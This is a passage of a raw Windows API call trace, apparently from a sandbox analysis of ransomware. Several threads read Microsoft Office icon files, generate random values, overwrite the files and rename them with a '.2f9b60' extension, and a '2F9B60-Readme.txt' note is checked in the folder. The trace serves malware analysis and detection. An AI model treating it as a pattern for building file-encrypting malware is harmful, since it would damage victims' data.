RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421d2140) returned 1 [0140.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061630) returned 1 [0140.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591f0) returned 1 [0140.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x420591f0 [0140.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c40 [0140.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061630 [0140.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdea0 [0140.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdea0) returned 1 [0140.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x42059880 [0140.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdea0 [0140.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fded0 [0140.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0140.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061630) returned 1 [0140.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0140.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x120) returned 0x13b620 [0140.941] SetFilePointerEx (in: hFile=0x1b04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0140.941] WriteFile (in: hFile=0x1b04, lpBuffer=0x13b620*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2b55fdd0, lpOverlapped=0x0 | out: lpBuffer=0x13b620*, lpNumberOfBytesWritten=0x2b55fdd0*=0x120, lpOverlapped=0x0) returned 1 [0141.003] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x13b620) returned 1 [0141.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0141.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdea0) returned 1 [0141.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591f0) returned 1 [0141.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde70) returned 1 [0141.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ba0) returned 1 [0141.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267980) returned 1 [0141.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b20) returned 1 [0141.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x202782f0 [0141.005] wcscpy (in: _Dest=0x202782f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg" [0141.005] wcscat (in: _Dest=0x202782f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg.2f9b60" [0141.005] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg.2f9b60", NtPathName=0x2b55fdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1cecf5c0 [0141.005] NtSetInformationFile (FileHandle=0x1b04, IoStatusBlock=0x2b55fe90, FileInformation=0x1cecf5c0, Length=0xd2, FileInformationClass=0xa) returned 0x0 [0145.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecf5c0) returned 1 [0145.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced35c0) returned 1 [0145.438] NtQueryInformationFile (in: FileHandle=0x1b04, IoStatusBlock=0x2b55fe58, FileInformation=0x2b55fe68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b55fe58, FileInformation=0x2b55fe68) returned 0x0 [0145.438] NtSetInformationFile (FileHandle=0x1b04, IoStatusBlock=0x2b55fe58, FileInformation=0x2b55fe68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202782f0) returned 1 [0145.796] FlushFileBuffers (hFile=0x1b04) returned 1 [0145.992] CloseHandle (hObject=0x1b04) returned 1 [0146.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce11fa0 [0146.016] wcscpy (in: _Dest=0x1ce11fa0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0146.016] wcscat (in: _Dest=0x1ce11fa0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0146.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11fa0) returned 1 [0147.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8630c0) returned 1 Thread: id = 1856 os_tid = 0xe1c [0133.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimagesmask.bmp")) returned 0x20 [0135.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp", dwFileAttributes=0x20) returned 1 [0138.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimagesmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f7c [0141.860] GetFileSizeEx (in: hFile=0x1f7c, lpFileSize=0x2b88fbe0 | out: lpFileSize=0x2b88fbe0*=192) returned 1 [0141.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe440 [0141.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0141.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc60 [0141.860] NtQuerySystemTime (in: CurrentTime=0x2b88faa0 | out: CurrentTime=0x2b88faa0*=132462177470998000) returned 0x0 [0141.860] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x790a14e5 [0141.860] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x14521a05 [0141.860] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x1380b4e7 [0141.860] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x1f260249 [0141.860] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x18770bfb [0141.860] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x2fa18b6 [0141.860] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0xc5b59d4 [0141.860] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x6e484c65 [0141.860] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x47a1281a [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x46ffe962 [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x45fed4e2 [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x4bd98bf1 [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x77c369db [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x7cdfd8f [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x3eeaa09a [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x2a7c9fa [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x6a9def06 [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0xc5ccc9c [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x123a2b67 [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0xb0b4f56 [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x786c0788 [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x334754f0 [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x665856e4 [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x37c4ddf6 [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x1fd90da2 [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x7632abdc [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x15f0b633 [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x7d4a8798 [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x22126462 [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x2e7cc554 [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x20196d6 [0141.861] RtlRandomEx (in: Seed=0x2b88fa90 | out: Seed=0x2b88fa90) returned 0x2572f98b [0141.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcc0 [0141.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0141.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdf00 [0141.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0141.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc60) returned 1 [0141.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe440) returned 1 [0141.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0141.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0141.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe440 [0141.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe440) returned 1 [0141.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421e4d90 [0141.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421fb5f0 [0141.871] ReadFile (in: hFile=0x1f7c, lpBuffer=0x421e4d90, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x2b88fa90, lpOverlapped=0x0 | out: lpBuffer=0x421e4d90*, lpNumberOfBytesRead=0x2b88fa90*=0xc0, lpOverlapped=0x0) returned 1 [0141.872] SetFilePointerEx (in: hFile=0x1f7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.872] WriteFile (in: hFile=0x1f7c, lpBuffer=0x421fb5f0*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2b88fa94, lpOverlapped=0x0 | out: lpBuffer=0x421fb5f0*, lpNumberOfBytesWritten=0x2b88fa94*=0xc0, lpOverlapped=0x0) returned 1 [0141.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe140 [0141.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0141.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0141.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421fb5f0) returned 1 [0141.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421e4d90) returned 1 [0141.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0141.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0141.906] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x42059f60 [0141.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0141.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0141.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0141.907] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0141.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x42059f10 [0141.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0141.907] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe470 [0141.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe470) returned 1 [0141.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0141.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0141.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x128) returned 0x1b7d3a20 [0141.908] SetFilePointerEx (in: hFile=0x1f7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0141.908] WriteFile (in: hFile=0x1f7c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2b88fbb0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2b88fbb0*=0x128, lpOverlapped=0x0) returned 1 [0141.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0141.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0141.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0141.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe140) returned 1 [0141.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0141.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcc0) returned 1 [0141.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdf00) returned 1 [0141.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x4205eb40 [0141.971] wcscpy (in: _Dest=0x4205eb40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp" [0141.971] wcscat (in: _Dest=0x4205eb40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp.2f9b60" [0141.971] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp.2f9b60", NtPathName=0x2b88fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1ceb5120 [0141.972] NtSetInformationFile (FileHandle=0x1f7c, IoStatusBlock=0x2b88fc70, FileInformation=0x1ceb5120, Length=0xda, FileInformationClass=0xa) returned 0x0 [0145.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb5120) returned 1 [0145.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd230) returned 1 [0145.974] NtQueryInformationFile (in: FileHandle=0x1f7c, IoStatusBlock=0x2b88fc38, FileInformation=0x2b88fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b88fc38, FileInformation=0x2b88fc48) returned 0x0 [0145.975] NtSetInformationFile (FileHandle=0x1f7c, IoStatusBlock=0x2b88fc38, FileInformation=0x2b88fc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205eb40) returned 1 [0146.020] FlushFileBuffers (hFile=0x1f7c) returned 1 [0146.254] CloseHandle (hObject=0x1f7c) returned 1 [0146.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050b950 [0146.256] wcscpy (in: _Dest=0x2050b950, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0146.256] wcscat (in: _Dest=0x2050b950, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0146.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b950) returned 1 [0147.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279070) returned 1 Thread: id = 1857 os_tid = 0xe20 [0133.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimages.jpg")) returned 0x20 [0135.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg", dwFileAttributes=0x20) returned 1 [0137.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimages.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ef0 [0140.368] GetFileSizeEx (in: hFile=0x1ef0, lpFileSize=0x2ba0f9c0 | out: lpFileSize=0x2ba0f9c0*=20995) returned 1 [0140.368] SetFilePointerEx (in: hFile=0x1ef0, liDistanceToMove=0x51ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.368] ReadFile (in: hFile=0x1ef0, lpBuffer=0x2ba0f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ba0f988, lpOverlapped=0x0 | out: lpBuffer=0x2ba0f940*, lpNumberOfBytesRead=0x2ba0f988*=0x4, lpOverlapped=0x0) returned 1 [0140.383] SetFilePointerEx (in: hFile=0x1ef0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8595b0 [0140.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860cf0 [0140.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffa0 [0140.384] NtQuerySystemTime (in: CurrentTime=0x2ba0f880 | out: CurrentTime=0x2ba0f880*=132462177456178000) returned 0x0 [0140.384] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x48d40b9c [0140.384] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x42aa1fd3 [0140.384] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x261967b5 [0140.384] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x563af5a2 [0140.384] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0xb028c6e [0140.384] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x34b04022 [0140.384] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0xa8080f4 [0140.384] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x61a79bc8 [0140.384] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x496156e2 [0140.384] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x16601cfb [0140.384] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x362a3fdd [0140.384] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x61172ec1 [0140.384] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x67957a6a [0140.384] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x3691e8b8 [0140.384] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x50076957 [0140.384] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x10aa8d66 [0140.384] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x35a96f15 [0140.384] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x362a3fdd [0140.384] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x4e7cf334 [0140.385] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x61de07a4 [0140.385] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x772076e2 [0140.385] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0xd80cbc0 [0140.385] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0xcf1ac42 [0140.385] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x55678572 [0140.385] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x5a94f922 [0140.385] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x3ba18ba3 [0140.385] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x5139da88 [0140.385] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x6a8dd727 [0140.385] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x55e54422 [0140.385] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x5a3f47a2 [0140.385] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0x66ce3a02 [0140.385] RtlRandomEx (in: Seed=0x2ba0f870 | out: Seed=0x2ba0f870) returned 0xd78d839 [0140.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f490 [0140.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420619b0 [0140.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0140.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420619b0) returned 1 [0140.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ffa0) returned 1 [0140.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8595b0) returned 1 [0140.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421fb5f0 [0140.394] SetFilePointerEx (in: hFile=0x1ef0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.394] ReadFile (in: hFile=0x1ef0, lpBuffer=0x421fb5f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2ba0f8e0, lpOverlapped=0x0 | out: lpBuffer=0x421fb5f0*, lpNumberOfBytesRead=0x2ba0f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0140.403] SetFilePointerEx (in: hFile=0x1ef0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059d80 [0140.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420619b0 [0140.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffa0 [0140.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ffa0) returned 1 [0140.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42213100 [0140.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffa0 [0140.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7880 [0140.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7880) returned 1 [0140.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420619b0) returned 1 [0140.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d80) returned 1 